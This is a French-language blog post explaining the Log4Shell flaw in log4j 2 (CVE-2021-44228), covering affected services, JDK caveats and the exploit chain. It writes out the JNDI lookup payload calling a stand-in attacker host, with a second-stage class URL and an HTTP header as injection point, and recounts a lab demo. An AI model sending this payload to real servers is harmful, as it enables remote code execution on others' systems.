Le jeudi 9 décembre, une vulnérabilité a été découverte dans la bibliothèque de journalisation Java populaire log4j (version 2). Il permet d’exécuter un code à distance en enregistrant une certaine chaîne de caractères.
Compte tenu de l’omniprésence de cette bibliothèque, de l’impact de l’exploit (qui offre un contrôle total du serveur) et de sa facilité d’exploitation, en fait une vulnérabilité est assez grave.
Le 0-day a été tweeté avec une POC (Proof Of Concept) postée sur GitHub. Elle a maintenant été publiée sous le nom de CVE-2021-44228.
Qui est touché ?
De très nombreux services sont vulnérables à cet exploit. Des services de cloud computing comme Steam, Apple iCloud, ainsi que des applications comme Minecraft, se sont déjà révélés vulnérables.
Toute personne utilisant Apache Struts est probablement vulnérable. Nous avons déjà vu des vulnérabilités similaires exploitées dans des brèches comme celle d’Equifax en 2017.
De nombreux projets Open Source comme le serveur Minecraft, Paper, ont déjà commencé à appliquer des correctifs à leur utilisation de log4j2.
Il a été démontré que le simple fait de changer le nom d’un iPhone déclenche la vulnérabilité dans les serveurs d’Apple.
Mises à jour (3 heures après la publication) : Selon ce billet de blog (voir la traduction), les versions de JDK supérieures à 6u211, 7u201, 8u191, et 11.0.1 ne sont pas affectées par le vecteur d’attaque LDAP.
Dans ces versions, com.sun.jndi.ldap.object.trustURLCodebase est défini à false, ce qui signifie que JNDI ne peut pas charger de code distant en utilisant LDAP, sauf dans des cas très spécifiques. Cependant, il existe d’autres vecteurs d’attaque ciblant cette vulnérabilité qui peuvent aboutir à un RCE. Un attaquant peut toujours tirer parti du code existant sur le serveur pour exécuter une charge utile.
Une attaque ciblant la classe org.apache.naming.factory.BeanFactory, présente sur les serveurs Apache Tomcat, est discutée dans ce billet de blog. De plus, il existe certaines configurations spécifiques où une récupération JNDI à distance pourrait encore avoir lieu, comme décrit dans ce billet. Veuillez mettre à jour la dernière version de log4j pour une solution plus complète.
Comment fonctionne l’exploit ?
Comme je l’ai expliqué plus tôt, cette vulnérabilité s’exploite très facilement, bien plus que la plupart des failles que j’ai exploiter. Néanmoins, il faut tout de même quelques conditions pour que l’exploit fonctionne.
- Un serveur avec une version vulnérable de log4j (listée ci-dessus).
- Un Endpoint avec n’importe quel protocole (HTTP, TCP, etc.), qui permet à un attaquant d’envoyer la chaîne d’exploitation.
- Une déclaration de journal qui enregistre la chaîne de cette requête.
Une fois ces éléments réunis, l’exploit s’avère très simple, l’exploit fonctionne de la manière suivante:
- Les données de l’utilisateur sont envoyées au serveur (via n’importe quel protocole).
- enregistre les données contenant la charge utile malveillante de la requête ${jndi:ldap://some-attacker.com/a}, où some-attacker.com est un serveur contrôlé par l’attaquant.
- La vulnérabilité de log4j est déclenchée par ce Payload et le serveur fait une requête à some-attacker.com via « Java Naming and Directory Interface » (JNDI).
- Cette réponse contient un chemin vers un fichier de classe Java distant (ex. http://second-stage.some-attacker.com/Exploit.class), qui est injecté dans le processus du serveur.
- Ce Payload injecté déclenche une deuxième étape, et permet à un attaquant d’exécuter du code arbitraire.
Voici un exemple de code Java vulnérable à l’exploit Log4Shell :
Pour faire simple, ce morceau de code Java (langage dont je ne suis absolument pas un expert, je préfère le C c’est plus drôle), importe la librairie de Log4J d’une version vulnérable bien entendu.
Il initialise ensuite le Logger vulnérable puis le Endpoint HTTP requis pour l’exploitation de la 0-Day, puis il déclenche le RCE en enregistrant l’en-tête HTTP contrôlé par l’attaquant.
L’attaquant peut ensuite définir son en-tête X-Api-Version à : ${jndi:ldap://some-attacker.com/a} qui est la string malveillante.
Je l’ai testé personnellement dans un conteneur Docker créé par christophetd’s afin de vous en faire la démonstration pour afficher le fameux HelloWorld dans le log du serveur vulnérable.
Comme vous pouvez le voir, une fois l’exploit exécuté, le Log Java affiche ma string HelloWorld définie dans l’exploit. Inutile me direz vous ? prenez en compte que comme pour un exploit Buffer Overflow, il possible de remplacer le HelloWorld dans l’exploit par un morceau de code Java qui ouvrira une console d’administration, en clair cette vulnérabilité permet à peu près toutes les possibilités en termes d’usage.
En bref, cette vulnérabilité touche surtout les entreprises, assez peu les particuliers bien que nos données ont pu êtres en danger avant les mises à jour des serveurs, Google, Apache, Oracle, Microsoft, Steam et tant d’autres qui ont été très réactifs au vu de la dangerosité de cette 0-Day.